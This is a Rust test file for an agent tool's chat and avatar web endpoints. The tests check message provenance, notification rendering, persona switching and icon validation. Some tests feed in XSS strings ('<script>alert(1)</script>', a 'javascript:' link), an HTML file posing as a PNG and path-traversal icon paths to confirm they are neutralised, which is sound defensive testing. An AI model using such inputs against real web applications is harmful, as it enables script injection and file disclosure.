12154 let cfg = config_for(&repo).await.expect("discover config");
12155 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12156 (tmp, home, ui, talk.id, repo)
12157 }
12158
12159 #[tokio::test]
12160 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
12161 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12162 let mut conversation = ui.talks.get(&id).unwrap();
12163 talk::record(
12164 &mut conversation,
12165 &ui.talks,
12166 "# Update on a task you filed\noperator words",
12167 vec![],
12168 )
12169 .unwrap();
12170 conversation.turns[0].sender = None;
12172 conversation.turns[0].messages.clear();
12173 ui.talks.put(&mut conversation).unwrap();
12174 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
12175 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
12176 talk::drain(&mut conversation, &ui.talks).unwrap();
12177 talk::record_reply(
12178 &mut conversation,
12179 &ui.talks,
12180 "about that report",
12181 vec![],
12182 Some(talk::ReplyTarget {
12183 turn: 1,
12184 message: 1,
12185 }),
12186 )
12187 .unwrap();
12188 conversation.turns[2].messages[0]
12189 .reply
12190 .as_mut()
12191 .unwrap()
12192 .sender = None;
12193 conversation.turns.push(talk::Turn {
12194 sender: Some(talk::Sender::Persona),
12195 who: talk::Who::Agent,
12196 body: "magi: actual persona words".into(),
12197 at: Timestamp::now(),
12198 attachments: vec![],
12199 usage: None,
12200 breaks: None,
12201 messages: vec![],
12202 posted_by: None,
12203 });
12204 ui.talks.put(&mut conversation).unwrap();
12205 let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
12206 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
12207 assert_eq!(
12208 view.talk.turns[1].messages[0].sender,
12209 Some(talk::Sender::Operator)
12210 );
12211 assert_eq!(
12212 view.talk.turns[1].messages[1].sender,
12213 Some(talk::Sender::Magi)
12214 );
12215 assert_eq!(
12216 view.talk.turns[2].messages[0]
12217 .reply
12218 .as_ref()
12219 .unwrap()
12220 .sender,
12221 Some(talk::Sender::Magi)
12222 );
12223 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
12224 assert_eq!(view.turn_messages_md[0].len(), 1);
12225 assert!(view.turn_messages_md[0][0].is_none());
12226 assert!(view.turn_messages_md[1][0].is_none());
12227 assert!(view.turn_messages_md[1][1].is_some());
12228 }
12229
12230 #[tokio::test]
12231 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
12232 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12233 let mut conversation = ui.talks.get(&id).unwrap();
12234 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
12235 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12236 talk::queue_notice(
12237 &mut conversation,
12238 &ui.talks,
12239 &body,
12240 "watch:123",
12241 &|_| false,
12242 None,
12243 display.clone(),
12244 )
12245 .unwrap();
12246 assert!(
12247 !talk::queue_notice(
12248 &mut conversation,
12249 &ui.talks,
12250 &body,
12251 "watch:123",
12252 &|_| false,
12253 None,
12254 display.clone()
12255 )
12256 .unwrap()
12257 );
12258 let saved = ui.talks.get(&id).unwrap();
12259 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
12260 let view = TalkView::with_config(saved, false, None, &ui.home);
12261 assert!(
12262 view.talk.turns[0].messages[0].display.is_none(),
12263 "operator copy stays literal"
12264 );
12265 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
12266 assert!(view.turn_messages_md[0][0].is_none());
12267 let queued_md = view.pending_messages_md[0].clone();
12268 assert_eq!(
12269 queued_md,
12270 Some(md::to_nodes(&display.facts, &md::ImageBase::None))
12271 );
12272 talk::drain(&mut conversation, &ui.talks).unwrap();
12273 talk::record_reply(
12274 &mut conversation,
12275 &ui.talks,
12276 "Explain",
12277 vec![],
12278 Some(talk::ReplyTarget {
12279 turn: 1,
12280 message: 0,
12281 }),
12282 )
12283 .unwrap();
12284 let mut saved = ui.talks.get(&id).unwrap();
12285 assert_eq!(saved.turns[1].messages[0].body, body);
12286 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
12287 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
12288 assert!(!reply.excerpt.contains("automatic report"));
12289 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
12292 let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
12293 assert_eq!(view.turn_messages_md[1][0], queued_md);
12294 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
12295 assert!(
12296 !view.talk.turns[2].messages[0]
12297 .reply
12298 .as_ref()
12299 .unwrap()
12300 .excerpt
12301 .contains("automatic report")
12302 );
12303 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
12304 }
12305
12306 #[tokio::test]
12307 async fn consultation_display_hides_directives_in_queue_and_history() {
12308 for node in [
12309 "implement",
12310 crate::land::APPROVAL_NODE,
12311 crate::github_text::ASK_NODE,
12312 ] {
12313 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12314 let mut question = Question::new(
12315 "run-123".into(),
12316 node.into(),
12317 "seat-1".into(),
12318 "Which backend?".into(),
12319 "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
12320 vec!["SQLite".into(), "Redis".into()],
12321 );
12322 ui.questions.put(&mut question).unwrap();
12323 let body = crate::prompt::chat_consult(&question);
12324 let mut conversation = ui.talks.get(&id).unwrap();
12325 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12326 assert!(
12327 crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
12328 );
12329 conversation = ui.talks.get(&id).unwrap();
12330 assert_eq!(conversation.pending_messages[0].body, body);
12331 assert!(body.contains("magi answer"));
12332 let mut legacy_pending = conversation.clone();
12333 legacy_pending.pending_messages[0].display = None;
12334 let legacy_view = TalkView::with_config(legacy_pending, false, None, &ui.home);
12335 let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
12336 assert!(legacy_md.contains("Question consultation"));
12337 assert!(!legacy_md.contains("magi answer"));
12338 let view = TalkView::with_config(conversation.clone(), false, None, &ui.home);
12339 assert!(
12340 view.turn_messages_md[0][0].is_none(),
12341 "operator copy stays literal"
12342 );
12343 let queued_md = view.pending_messages_md[0].clone().unwrap();
12344 let rendered = serde_json::to_string(&queued_md).unwrap();
12345 for visible in [
12346 "Which backend?",
12347 "Context",
12348 "storage",
12349 "SQLite",
12350 "Redis",
12351 "<script>literal</script>",
12352 ] {
12353 assert!(rendered.contains(visible), "missing {visible}");
12354 }
12355 for directive in [
12356 "What to do",
12357 "magi answer",
12358 "Never answer it yourself",
12359 "Do not edit the repository",
12360 ] {
12361 assert!(!rendered.contains(directive), "exposed {directive}");
12362 }
12363 assert_eq!(
12364 view.talk.pending_messages[0].display,
12365 Some(crate::prompt::chat_consult_display(&question))
12366 );
12367 talk::drain(&mut conversation, &ui.talks).unwrap();
12368 let view = TalkView::with_config(conversation.clone(), false, None, &ui.home);
12369 assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
12370 assert_eq!(conversation.turns[1].messages[0].body, body);
12371
12372 conversation.turns[1].messages[0].display = None;
12375 let view = TalkView::with_config(conversation, false, None, &ui.home);
12376 let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
12377 assert!(legacy.contains("Question consultation"));
12378 assert!(!legacy.contains("magi answer"));
12379 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
12380 }
12381 }
12382
12383 #[test]
12384 fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
12385 let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
12386 let (body, mut display) =
12387 crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
12388 display.facts = facts.into();
12389 let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
12390 assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
12391 let json = serde_json::to_string(&nodes).unwrap();
12392 for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
12393 assert!(json.contains(&format!("\"type\":\"{kind}\"")));
12394 }
12395 assert!(json.contains("<script>alert(1)</script>"));
12396 assert!(!json.contains("javascript:"));
12397 assert!(!json.contains("Tell the operator"));
12398 assert!(!json.contains("untrusted"));
12399 assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
12400 assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
12401 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
12402 assert_eq!(
12403 notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
12404 md::to_nodes("# Status", &md::ImageBase::None),
12405 );
12406 }
12407
12408 #[tokio::test]
12409 async fn notification_display_recovers_exact_legacy_completion_references() {
12410 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12411 let mut conversation = ui.talks.get(&id).unwrap();
12412 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
12413 id: "task-123",
12414 title: "Change",
12415 status: "done",
12416 reason: None,
12417 run: Some("run-123"),
12418 pr: None,
12419 summary: Some("Merge state unknown"),
12420 });
12421 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12422 conversation.turns[0].sender = None;
12423 conversation.turns[0].messages.clear();
12424 conversation.turns[0].breaks = None;
12425 conversation.pending = body.clone();
12426 conversation
12427 .completion_notices
12428 .push(crate::chat_notify::CompletionReference {
12429 task: "task-123".into(),
12430 run: Some("run-123".into()),
12431 notice: body.clone(),
12432 });
12433 ui.talks.put(&mut conversation).unwrap();
12434 let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
12435 assert_eq!(
12436 view.talk.turns[0].messages[0].display,
12437 Some(display.clone())
12438 );
12439 assert_eq!(view.talk.pending_messages[0].display, Some(display));
12440 assert_eq!(
12441 view.talk.turns[0].messages[0].sender,
12442 Some(talk::Sender::Magi)
12443 );
12444 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
12445 conversation.completion_notices[0]
12446 .notice
12447 .push_str("different");
12448 let view = TalkView::with_config(conversation, false, None, &ui.home);
12449 assert!(view.talk.turns[0].messages.is_empty());
12450 assert!(view.talk.pending_messages.is_empty());
12451 }
12452
12453 #[tokio::test]
12454 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
12455 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
12456 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
12457 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
12458 let _ = magi_icon_put(
12459 State(ui.clone()),
12460 Json(MagiIconUpload { icon: icon.into() }),
12461 )
12462 .await
12463 .unwrap();
12464 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
12465 assert_ne!(original, changed);
12466 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
12467 let response = magi_avatar(
12468 State(ui.clone()),
12469 Query(AvatarQuery {
12470 persona: None,
12471 builtin: None,
12472 }),
12473 )
12474 .await;
12475 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
12476 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
12477 assert_eq!(
12478 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
12479 "nosniff"
12480 );
12481 for bad in [
12482 "data:image/png;base64,PGh0bWw+".to_owned(),
12483 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
12484 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
12485 ] {
12486 assert!(save_magi_icon(home.path(), &bad).is_err());
12487 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
12488 }
12489 let restarted = Arc::new(Ui::new(
12491 Queue::at(home.path().join("queue")),
12492 Questions::at(home.path().join("questions")),
12493 Talks::at(home.path().join("talks")),
12494 home.path().join("runs"),
12495 home.path().to_path_buf(),
12496 repo,
12497 ));
12498 assert_eq!(
12499 magi_icon_get(State(restarted.clone())).await.0["avatar"],
12500 changed
12501 );
12502 let view = TalkView::with_config(
12503 restarted.talks.get(&id).unwrap(),
12504 false,
12505 None,
12506 &restarted.home,
12507 );
12508 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
12509 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
12510 let response = magi_avatar(
12511 State(ui.clone()),
12512 Query(AvatarQuery {
12513 persona: None,
12514 builtin: None,
12515 }),
12516 )
12517 .await;
12518 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
12519 .await
12520 .unwrap();
12521 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
12522 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
12523 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
12524 let _ = magi_icon_delete(State(ui)).await.unwrap();
12525 }
12526
12527 async fn avatar(
12529 ui: &Arc<Ui>,
12530 id: &str,
12531 persona: Option<&str>,
12532 builtin: bool,
12533 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
12534 let res = talk_avatar(
12535 State(Arc::clone(ui)),
12536 Path(id.to_owned()),
12537 Query(AvatarQuery {
12538 persona: persona.map(str::to_owned),
12539 builtin: builtin.then(|| "1".to_owned()),
12540 }),
12541 )
12542 .await
12543 .expect("an avatar is never an error response");
12544 let h = res.headers();
12545 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
12546 let nosniff = h
12547 .get(header::X_CONTENT_TYPE_OPTIONS)
12548 .is_some_and(|v| v == "nosniff");
12549 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
12550 let status = res.status();
12551 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
12552 .await
12553 .expect("body")
12554 .to_vec();
12555 (status, ct, nosniff, csp, body)
12556 }
12557
12558 fn tiny_png() -> Vec<u8> {
12559 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
12560 b.extend_from_slice(&[0u8; 32]);
12561 b
12562 }
12563
12564 #[tokio::test]
12565 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
12566 let res = operator_avatar().await;
12567 assert_eq!(res.status(), StatusCode::OK);
12568 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
12569 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
12570 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
12571 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
12572 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
12573 .await
12574 .unwrap();
12575 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
12576 assert_ne!(
12577 persona_icon::operator_svg(),
12578 persona_icon::builtin_svg("default")
12579 );
12580 }
12581
12582 #[tokio::test]
12583 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
12584 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
12585 for p in [
12586 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
12587 ] {
12588 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
12589 assert_eq!(status, StatusCode::OK, "{p}");
12590 assert_eq!(ct, "image/svg+xml", "{p}");
12591 assert!(nosniff && csp, "{p}");
12592 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
12593 }
12594 let own = avatar(&ui, &id, None, false).await;
12596 let default = avatar(&ui, &id, Some("default"), false).await;
12597 assert_eq!(own.4, default.4);
12598 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
12599 assert_eq!(unknown.1, "image/svg+xml");
12600 }
12601
12602 #[tokio::test]
12603 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
12604 let dir = TempDir::new().expect("icons");
12605 let good = dir.path().join("good.png");
12606 std::fs::write(&good, tiny_png()).unwrap();
12607 let spoof = dir.path().join("spoof.png");
12608 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
12609 let big = dir.path().join("big.png");
12610 let mut bytes = tiny_png();
12611 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
12612 std::fs::write(&big, bytes).unwrap();
12613 let missing = dir.path().join("missing.png");
12614 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
12615 let extra = format!(
12616 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
12617 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
12618 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
12619 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
12620 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
12621 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
12622 uri(&good),
12623 uri(&spoof),
12624 uri(&big),
12625 uri(&missing),
12626 );
12627 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
12628
12629 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
12630 assert_eq!(
12631 (status, ct.as_str(), nosniff),
12632 (StatusCode::OK, "image/png", true)
12633 );
12634 assert_eq!(body, tiny_png());
12635 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
12636 assert_eq!(ct, "image/png", "data URI");
12637
12638 for p in ["misato", "asuka", "shinji", "magi"] {
12639 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
12640 assert_eq!(
12641 (status, ct.as_str(), csp),
12642 (StatusCode::OK, "image/svg+xml", true),
12643 "{p}"
12644 );
12645 assert!(body.starts_with(b"<svg"), "{p}");
12646 }
12647 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
12649 assert_eq!(ct, "image/svg+xml");
12650 }
12651
12652 #[tokio::test]
12653 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
12654 let oversized = format!(
12655 "data:image/png;base64,{}",
12656 "A".repeat(persona_icon::ICON_MAX_BYTES)
12657 );
12658 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
12659 let extra = format!(
12660 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
12661 );
12662 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
12663 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
12664 .await
12665 .expect("detail with invalid icon");
12666 assert!(detail.personas.iter().any(|p| p.id == "custom"));
12667 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
12668 assert_eq!(status, StatusCode::OK);
12669 assert_eq!(ct, "image/svg+xml");
12670 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
12671 let Json(view) = talk_persona(
12672 State(Arc::clone(&ui)),
12673 Path(id.clone()),
12674 Json(TalkPersona {
12675 persona: "custom".into(),
12676 }),
12677 )
12678 .await
12679 .expect("persona switch with invalid icon");
12680 assert_eq!(view.talk.persona, "custom");
12681 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
12682 }
12683 }
12684
12685 #[tokio::test]
12686 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
12687 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
12688 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
12689 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
12690 assert_eq!(
12691 (status, ct.as_str(), nosniff, csp),
12692 (StatusCode::OK, "image/svg+xml", true, true)
12693 );
12694 }
12695
12696 #[tokio::test]
12697 async fn the_talk_view_carries_server_built_avatar_urls_only() {
12698 let (_t, _h, ui, id, _repo) =
12699 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
12700 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
12701 .await
12702 .expect("detail");
12703 let json = serde_json::to_string(&detail).unwrap();
12704 assert!(
12705 !json.contains("secret"),
12706 "the icon setting must not leak: {json}"
12707 );
12708 assert!(
12709 detail
12710 .view
12711 .persona_avatar
12712 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
12713 );
12714 assert_eq!(
12715 detail.view.operator_avatar,
12716 format!(
12717 "/avatars/operator.svg?v={}",
12718 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
12719 )
12720 );
12721 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
12722 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
12723 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
12724 assert!(rei.avatar.contains("persona=rei&v="));
12725 assert_ne!(
12726 rei.avatar.split("&v=").nth(1),
12727 plain.avatar.split("&v=").nth(1)
12728 );
12729 }
12730
12731 #[tokio::test]
12732 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
12733 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
12734 let cfg = config_for(&repo).await.unwrap();
12735 for arrived in [false, true] {
12736 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
12737 let observed = ui.queued_generation(&id);
12738 let talk = ui.talks.get(&id).unwrap();
12739 if arrived {
12740 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
12741 }
12742 let mut settling = std::pin::pin!(settle_settings_turn(
12743 talk,
12744 ui.talks.clone(),
12745 cfg.clone(),
12746 id.clone(),
12747 turn,
12748 observed
12749 ));
12750 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
12751 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
12752 assert_eq!(first.is_pending(), arrived);
12753 if arrived {
12754 assert!(!settling.await);
12755 }
12756 assert!(!ui.is_thinking(&id));
12757 }
12758 }
12759
12760 #[tokio::test]
12761 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
12762 let tmp = TempDir::new().expect("tempdir");
12763 let repo = tmp.path().join("repo");
12764 std::fs::create_dir_all(&repo).expect("repo dir");
12765 std::fs::write(
12766 repo.join("magi.toml"),
12767 format!(
12768 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
12769 ),
12770 )
12771 .expect("write magi.toml");
12772 let home = TempDir::new().expect("temp home");
12773 let talks = Talks::at(home.path().join("talks"));
12774 let ui = Arc::new(
12775 Ui::new(
12776 Queue::at(home.path().join("queue")),
12777 Questions::at(home.path().join("questions")),
12778 talks.clone(),
12779 home.path().join("runs"),
12780 home.path().to_path_buf(),
12781 repo.clone(),
12782 )
12783 .with_worktrees_root(home.path().join("wt")),
12784 );
12785 let cfg = config_for(&repo).await.expect("discover config");
12786 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12787 let id = talk.id.clone();
12788 let call = |persona: &str| {
12789 talk_persona(
12790 State(Arc::clone(&ui)),
12791 Path(id.clone()),
12792 Json(TalkPersona {
12793 persona: persona.to_owned(),
12794 }),
12795 )
12796 };
12797
12798 let unknown = call("nobody").await.expect_err("unknown persona");
12799 assert_eq!(
12800 unknown.status,
12801 StatusCode::BAD_REQUEST,
12802 "{}",
12803 unknown.message
12804 );
12805
12806 {
12807 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
12810 let busy = call("rei").await.expect_err("busy talk");
12811 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
12812 assert!(
12813 busy.message.contains("a talk turn is running"),
12814 "{}",
12815 busy.message
12816 );
12817 drop(guard);
12818 }
12819 assert_eq!(talks.get(&id).expect("reload").persona, "");
12820
12821 let Json(view) = call("gendo").await.expect("switch to a configured persona");
12822 assert_eq!(view.talk.persona, "gendo");
12823 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
12824 assert!(!ui.is_thinking(&id), "idle response must release the claim");
12825 for chosen in ["default", "gendo", "rei", "gendo"] {
12827 let Json(view) = call(chosen).await.expect("immediate consecutive change");
12828 assert!(!view.thinking);
12829 assert!(!ui.is_thinking(&id));
12830 }
12831
12832 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
12833 .await
12834 .expect("detail");
12835 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
12836 assert_eq!(ids.first(), Some(&"default"));
12837 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
12838
12839 let Json(view) = call("default").await.expect("back to default");
12840 assert_eq!(view.talk.persona, "");
12841
12842 let mut closed = talks.get(&id).expect("reload");
12843 talk::close(&mut closed, &talks).expect("close");
12844 let refused = call("rei").await.expect_err("closed talk");
12845 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
12846 assert!(
12847 refused.message.contains("takes no more turns"),
12848 "{}",
12849 refused.message
12850 );
12851 }
12852
12853 #[tokio::test]
12854 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
12855 let f = Fixture::start().await;
12856 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
12857 let queue = f.queue();
12858 let mut mine = Task::new(
12859 "rename the loader".to_owned(),
12860 "rename the loader".to_owned(),
12861 PathBuf::from("/repo/magi"),
12862 Source::Agent {
12863 run: talk_id.clone(),
12864 node: "chat".to_owned(),
12865 },
12866 );
12867 queue.put(&mut mine).expect("file the task");
12868 let mut theirs = Task::new(
12869 "unrelated".to_owned(),
12870 "unrelated".to_owned(),
12871 PathBuf::from("/repo/magi"),
12872 Source::Human,
12873 );
12874 queue.put(&mut theirs).expect("file the task");
12875
12876 let res = f.get(&format!("/api/talks/{talk_id}")).await;
12877 assert_eq!(res.status, 200, "{}", res.body);
12878 let body = res.json();
12879 assert_eq!(
12880 body["status"], "open",
12881 "filing a task does not close a talk"
12882 );
12883 let tasks = body["tasks"].as_array().expect("tasks array");
12884 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
12885 assert_eq!(tasks[0]["id"], mine.id);
12886 }
12887
12888 #[tokio::test]
12889 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
12890 let (_tmp, _repo, f) = talk_fixture().await;
12891 let id = f.post("/api/talks", None).await.json()["id"]
12892 .as_str()
12893 .expect("id")
12894 .to_owned();
12895
12896 let res = f
12897 .post(
12898 &format!("/api/talks/{id}/say"),
12899 Some(r#"{"text":"what does the queue module do?"}"#),
12900 )
12901 .await;
12902 assert_eq!(res.status, 202, "{}", res.body);
12903 let queued = res.json();
12904 let turns = queued["turns"].as_array().expect("turns array");
12905 assert_eq!(
12906 turns.len(),
12907 1,
12908 "the answer reflects only what is on disk the instant it is sent, \
12909 before the agent's turn - which can run for the whole of \
12910 `[graph] timeout_talk` - has a chance to land: {queued}"
12911 );
12912 assert_eq!(turns[0]["who"], "operator");
12913 assert_eq!(turns[0]["body"], "what does the queue module do?");
12914 assert_eq!(
12915 queued["thinking"], true,
12916 "the accepted response exposes the background turn claim: {queued}"
12917 );
12918
12919 let mut turns_after = 1;
12920 for _ in 0..SETTLE_STEPS {
12921 let detail = f.get(&format!("/api/talks/{id}")).await.json();
12922 turns_after = detail["turns"].as_array().expect("turns array").len();
12923 if turns_after == 2 {
12924 break;
12925 }
12926 tokio::time::sleep(Duration::from_millis(10)).await;
12927 }
12928 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
12929 }
12930
12931 #[tokio::test]
12958 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
12959 let tmp = TempDir::new().expect("tempdir");
12960 let repo = tmp.path().join("repo");
12961 std::fs::create_dir_all(&repo).expect("repo dir");
12962 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
12963 let home = TempDir::new().expect("temp home");
12964 let talks = Talks::at(home.path().join("talks"));
12965 let ui = Arc::new(
12966 Ui::new(
12967 Queue::at(home.path().join("queue")),
12968 Questions::at(home.path().join("questions")),
12969 talks.clone(),
12970 home.path().join("runs"),
12971 home.path().to_path_buf(),
12972 repo.clone(),
12973 )
12974 .with_worktrees_root(home.path().join("wt")),
12975 );
12976 let cfg = config_for(&repo).await.expect("discover config");
12977
12978 for delay in 0..40u32 {
12979 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
12980 let id = talk.id.clone();
12981
12982 let handler = tokio::spawn(talk_say(
12983 State(Arc::clone(&ui)),
12984 Path(id.clone()),
12985 Ok(Json(NewTalkTurn {
12986 reply_to: None,
12987 text: "what does the queue module do?".to_owned(),
12988 attachments: Vec::new(),
12989 })),
12990 ));
12991 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
12992 handler.abort();
12993 let _ = handler.await;
12996
12997 let mut turns = 0;
12998 for _ in 0..SETTLE_STEPS {
12999 if let Ok(fresh) = talks.get(&id) {
13000 turns = fresh.turns.len();
13001 if turns != 1 {
13002 break;
13003 }
13004 }
13005 tokio::time::sleep(Duration::from_millis(10)).await;
13006 }
13007 assert_ne!(
13008 turns, 1,
13009 "delay {delay}: talk {id} recorded the operator's turn but \
13010 the agent never answered - the reply task was never \
13011 started after the handler future was dropped"
13012 );
13013 }
13014 }
13015
13016 #[tokio::test]
13061 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
13062 let tmp = TempDir::new().expect("tempdir");
13063 let repo = tmp.path().join("repo");
13064 std::fs::create_dir_all(&repo).expect("repo dir");
